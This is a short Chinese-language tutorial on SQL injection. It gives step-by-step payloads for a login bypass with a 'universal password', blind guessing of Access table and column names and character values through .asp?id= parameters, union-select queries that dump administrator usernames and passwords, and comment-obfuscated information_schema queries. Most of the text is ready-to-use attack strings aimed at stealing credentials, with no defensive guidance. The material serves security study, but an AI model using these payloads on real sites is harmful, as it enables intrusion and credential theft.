sql注入
注入的分类—仁者见仁,智者见智。
- 万能密码注入
用户进行用户名和密码验证是,网站需要查询数据库。查询数据库就是执行SQL语句。
当用户登录时,后台执行的数据库查询操作(sql语句)是【Select user_id,user_type,email Fromusers Where user_id=’ 用户名‘ And password=’ 密码’】
.
由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名为【admin】
和万能密码【2‘ or 1】
时,执行的sql语句为【Select user_id,user_type,email Fromusers Where user_id=’ admin’ And password=’ 2’ or‘ 1’ 】
。同时,由于sql语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,且适用传递性。因此,此sql语句在后台解析时,分成两句【Select user_id,user_type,email Fromusers Where user_id=’ admin’ And password=’ 2’】
和【’ 1‘ 】
,两句bool值进行逻辑or运算,恒威TRUE。Sql语句的查询结果为ture,就意味着认证成功,也可以成功登录到系统中。 - 手工注入access库
所谓sql注入,就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令。
首先,在以【.asp?id=32(数字任意)】
结尾的链接依次添加语句【‘】
、【and 1=1】
和【and 1=2】
,来判断网站是否存在注入点。
然后,添加语句【and exists(select*from admin)】
,根据页面返回结果来猜解表明。
再次,添加语句【and exists(select admin from admin)】
,来猜解admin表中的列名admin。
最后添加语句【
and (select top 1 len (admin) from admin)>1】
,来猜解字段长度:添加【and (select top 1 asc(mid(admin,1,1)) from admin)>97】
,来猜解字段中字符的ASCII码。
通过以上四个步骤,反复猜解,即可得到数据库存储的用户名和密码 - 手工联合查询注入技术
首先,在链接后面添加语句【 order by 11 (数字任意)】
,根据页面返回结果,来判断站点中的字段数目。
然后,在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11 from admin (表名)】
,进行联合查询,来暴露可查询的字段编号。
最好,根据上一步得到的字段标号,添加语句【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】
,直接暴露管理员用户名和密码
1’//union//select//schema_name//from//information_schema.schemata//where/**/’1’=’1 查看数据库
1’//union//select//table_name//from//information_schema.tables//where/**/’1’=’1 插卡有哪些表
1’//union//select//column_name//from//information_schema.columns//where/**/’1’=’1 查看有那些列
union select 1,database()%23查询数据库
%23 为url编码下的# %20为空格 %00截断